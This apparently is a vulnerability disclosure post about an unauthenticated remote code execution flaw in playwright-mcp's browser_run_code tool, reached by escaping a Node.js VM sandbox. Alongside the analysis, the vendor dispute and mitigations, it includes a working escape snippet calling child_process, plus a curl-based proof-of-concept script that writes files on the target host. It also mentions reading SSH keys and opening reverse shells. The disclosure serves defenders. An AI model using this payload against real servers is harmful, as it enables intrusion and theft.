CVE: Not assigned (MSRC assessed as “Not a vulnerability — by design”)
Severity: Critical (estimated)
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (9.8)
Affected Component: @playwright/mcpbrowser_run_code tool
Status: Vendor declined to fix; no CVE issued


1. Summary

The browser_run_code tool in Microsoft’s playwright-mcp server executes user-supplied JavaScript inside a Node.js VM context. The VM sandbox can be trivially escaped via prototype chain traversal of the page object, yielding a reference to the host Node.js process object. This grants full Remote Code Execution (RCE) with the privileges of the MCP server process.

When the server is deployed with HTTP/SSE transport (Streamable HTTP), any unauthenticated network client can exploit this without credentials or user interaction.

This maps to CWE-693 (Protection Mechanism Failure) and CWE-94 (Code Injection).

This finding was reported to Microsoft Security Response Center (MSRC). MSRC assessed this as “Not a vulnerability — by design” and declined to issue a CVE. A rebuttal was submitted. This post presents the full technical analysis and the basis for disagreement with that assessment.


2. Affected Component

FieldDetail
Package@playwright/mcp (npm)
Repositorymicrosoft/playwright-mcp
Toolbrowser_run_code
Underlying Implementationplaywright/lib/mcp/browser/tools/runCode.js
TransportHTTP/SSE (Streamable HTTP), TCP port 8931
Default EnabledYes — no --caps flag required
AuthenticationNone

Tool description from the official README:

  • Title: Run Playwright code
  • Description: Run Playwright code snippet
  • Parameter (code): “A JavaScript function containing Playwright code to execute. It will be invoked with a single argument, page, which you can use for any page interaction.”

The documented scope is “page interaction” — navigating, clicking, filling forms, reading DOM content. Host-level code execution is not mentioned.


3. Root Cause: VM Sandbox Escape via Prototype Chain

The browser_run_code tool executes user-supplied JavaScript within a Node.js VM context, passing a live Playwright page object as the sole argument. The vulnerability exists because:

  1. The page object originates from outside the VM sandbox (host environment).
  2. Its prototype chain leads back to the host’s Function constructor.
  3. The host’s Function constructor can be used to create a function that returns the host process object.

Escape technique:

// Walk the prototype chain from the page object to reach host's Function constructor
const processObj = page.constructor.constructor('return process')();

// From process, require any Node.js built-in module
const fs = processObj.mainModule.require('fs');
const child_process = processObj.mainModule.require('child_process');

// Arbitrary host-level operations
fs.writeFileSync('/tmp/pwned.txt', 'arbitrary file write');
child_process.execSync('id > /tmp/whoami.txt');

Why this is vulnerable: The Node.js documentation explicitly states: “The node:vm module is not a security mechanism. Do not use it to run untrusted code.” The browser_run_code tool accepts arbitrary, untrusted code from MCP clients and executes it in this unsafe sandbox without additional hardening.

Why the VM context indicates isolation intent: If unrestricted host-level code execution were “by design,” there would be no reason to use a VM context. The choice of VM over direct eval() or Function() execution indicates an architectural intent to sandbox the execution — an intent that the prototype chain escape circumvents.


4. Aggravating Factor: No Authentication on HTTP Transport

When started with --port 8931 (HTTP/SSE transport), the server requires no authentication to:

  1. Establish an MCP session (initialize)
  2. List available tools (tools/list)
  3. Invoke any tool, including browser_run_code (tools/call)

The official Docker deployment guide demonstrates binding to all interfaces:

docker run -d -i --rm --init --pull=always \
  --entrypoint node \
  --name playwright \
  -p 8931:8931 \
  mcr.microsoft.com/playwright/mcp \
  cli.js --headless --browser chromium --no-sandbox --port 8931 --host 0.0.0.0

In this configuration, any network-reachable client can achieve full RCE on the host (or container) without any credentials.


5. Capability System Inconsistency

playwright-mcp implements a capability-based access control system where dangerous tools require explicit opt-in:

CapabilityDefaultRisk Level
core✅ Always enabledBasic automation
core-tabs✅ Always enabledTab management
core-install✅ Always enabledBrowser installation
vision❌ Opt-in (--caps)Coordinate-based interaction
pdf❌ Opt-in (--caps)PDF generation
devtools❌ Opt-in (--caps)Developer tools
tracing❌ Opt-in (--caps)Trace recording
browser_run_code✅ Always enabledHost RCE via VM escape

The vision capability is gated because coordinate-based clicking can interact with elements not exposed in the accessibility tree. Yet browser_run_code, which enables full host-level RCE, is exposed by default with no capability gate. This is inconsistent with the security model the capability system was designed to enforce.


6. Impact

AspectDetail
Attack VectorNetwork (HTTP/SSE transport)
AuthenticationNone required
User InteractionNone required
Privileges GainedFull code execution as MCP server process user
DemonstratedArbitrary file read/write, child_process access
PotentialData exfiltration, reverse shell, lateral movement, persistence

7. Proof of Concept (PoC) — Reproduction Steps

7.1 Environment

ComponentDetails
NetworkSame NAT segment, 192.168.136.x/24
AttackerKali Linux, acting as a remote MCP client
TargetUbuntu, playwright-mcp bound to 192.168.136.166:8931
Server ConfigDefault — no --caps flags, no authentication, non-root user

The attacker machine had no prior access to the target host.

7.2 Step 1 — Establish Session and Verify Tool Availability

#!/usr/bin/env bash
set -euo pipefail

TARGET="http://192.168.136.166:8931/rpc"
HOST_HEADER="localhost:8931"

COMMON_HEADERS=(
  -H "Host: ${HOST_HEADER}"
  -H "Accept: application/json, text/event-stream"
  -H "Content-Type: application/json"
)

# [1] Initialize MCP session
INIT_RESP_HEADERS=$(mktemp)
INIT_RESP_BODY=$(mktemp)

curl -sS -D "$INIT_RESP_HEADERS" \
  -X POST "$TARGET" \
  "${COMMON_HEADERS[@]}" \
  --data '{
    "jsonrpc":"2.0","id":1,"method":"initialize",
    "params":{
      "protocolVersion":"2025-03-26",
      "capabilities":{},
      "clientInfo":{"name":"kali-poc","version":"0.1"}
    }
  }' > "$INIT_RESP_BODY"

SESSION_ID=$(awk 'BEGIN{IGNORECASE=1} /^mcp-session-id:/ {gsub("\r","",$2); print $2}' \
  "$INIT_RESP_HEADERS")
echo "[+] Session ID: $SESSION_ID"

# [2] Send notifications/initialized
curl -sS -i -X POST "$TARGET" "${COMMON_HEADERS[@]}" \
  -H "mcp-session-id: ${SESSION_ID}" \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}'

# [3] List tools — confirm browser_run_code is available
echo ""
echo "[*] Listing available tools..."
curl -sS -X POST "$TARGET" "${COMMON_HEADERS[@]}" \
  -H "mcp-session-id: ${SESSION_ID}" \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' \
  | python3 -m json.tool | grep -A2 "browser_run_code"

# [4] Benign call — navigate to example.com and return page title
echo ""
echo "[*] Benign test: fetching page title from example.com..."
curl -sS -X POST "$TARGET" "${COMMON_HEADERS[@]}" \
  -H "mcp-session-id: ${SESSION_ID}" \
  --data '{
    "jsonrpc":"2.0","id":3,"method":"tools/call",
    "params":{
      "name":"browser_run_code",
      "arguments":{
        "code":"async (page) => { await page.goto(\"https://example.com\"); return await page.title(); }"
      }
    }
  }' | python3 -m json.tool

Expected: browser_run_code appears in the tools/list response. The benign call returns "Example Domain".

7.3 Step 2 — Exploit: VM Escape → Host File Write (RCE Proof)

Replace step [4] in the above script with the following payload:

# [4] RCE — escape VM sandbox via prototype chain, write arbitrary file on host
curl -sS -i -X POST "$TARGET" "${COMMON_HEADERS[@]}" \
  -H "mcp-session-id: ${SESSION_ID}" \
  --data '{
    "jsonrpc":"2.0","id":3,"method":"tools/call",
    "params":{
      "name":"browser_run_code",
      "arguments":{
        "code":"async (page) => { const processObj = page.constructor.constructor('\''return process'\'')(); const fs = processObj.mainModule.require('\''fs'\''); const target = '\''/tmp/pwmcp_rce_test.txt'\''; const content = '\''playwright-mcp host file write test\n'\''; fs.writeFileSync(target, content, '\''utf8'\''); return fs.readFileSync(target, '\''utf8'\''); }"
      }
    }
  }'

Verify on the MCP server host:

$ cat /tmp/pwmcp_rce_test.txt
playwright-mcp host file write test

This confirms arbitrary file write on the server host from an unauthenticated remote client.

Why it succeeds: The page object’s prototype chain provides access to the host Function constructor, which can produce a function returning the host process object. From process, any Node.js built-in module (fs, child_process, net, etc.) is accessible. This behavior is consistent with the documented limitations of Node.js vm module.

The same technique trivially extends to arbitrary file read (/etc/passwd, SSH keys, application secrets), command execution via child_process.execSync(), reverse shell establishment, and lateral movement within the network.


8. Vendor Response (MSRC)

After careful investigation, this case has been assessed as Not a vulnerability due to the fact that as for Engineering this is by design. Guidance on browser_run_code - by design - https://github.com/microsoft/playwright-mcp/blob/main/README.md#tools

MSRC prioritizes vulnerabilities that are assessed as an Important or Critical severity. Since this case was below the bar for immediate servicing, it is not eligible for bounty, and no CVE will be issued. MSRC will not be tracking this issue further, and no additional updates will be provided.

Why “By Design” Does Not Hold

#ArgumentEvidence
1Tool description limits scope to “page interaction”The code parameter is documented for “any page interaction” — not host-level code execution
2VM context implies isolation intentUsing VM instead of direct eval() indicates sandboxing intent; prototype chain escape circumvents it
3Capability system inconsistencyvision (coordinate-based click) requires opt-in, but browser_run_code (host RCE) does not
4No authentication on HTTP transportAny network client can invoke the tool without credentials
5README disclaimer is insufficient”Not a security boundary” ≠ “unauthenticated RCE from the network is acceptable”

A formal rebuttal has been submitted to MSRC.


For users deploying playwright-mcp:

  • Do not expose the MCP server on network interfaces. Use stdio transport exclusively. If HTTP transport is required, restrict access via firewall rules or place behind an authenticated reverse proxy.
  • Avoid using browser_run_code in production deployments. Deploy with a configuration that excludes this tool from the tool list if possible.
  • Run in a container or VM with minimal privileges. Limit the blast radius if the sandbox is escaped.

For the maintainers:

  • Gate browser_run_code behind an explicit capability flag (e.g., --caps code-execution), consistent with the existing capability system.
  • Replace or harden the VM sandbox. Consider vm2, isolated-vm, or a separate worker process with restricted permissions.
  • Implement authentication for HTTP transport. At minimum, require a token or API key for session establishment.

10. Timeline

DateEvent
[REDACTED]Vulnerability identified and independently verified via custom PoC
[REDACTED]Reported to MSRC
[REDACTED]MSRC responds: “Not a vulnerability — by design”
[REDACTED]Rebuttal submitted to MSRC
2026-03-30Public disclosure via this blog post

11. References


Disclosure Note: This vulnerability was reported to Microsoft Security Response Center (MSRC) through the coordinated disclosure process. MSRC assessed it as “Not a vulnerability — by design” and stated no CVE would be issued and no further tracking would occur. This post is published as a technical analysis for the security community’s awareness, following the vendor’s explicit closure of the case.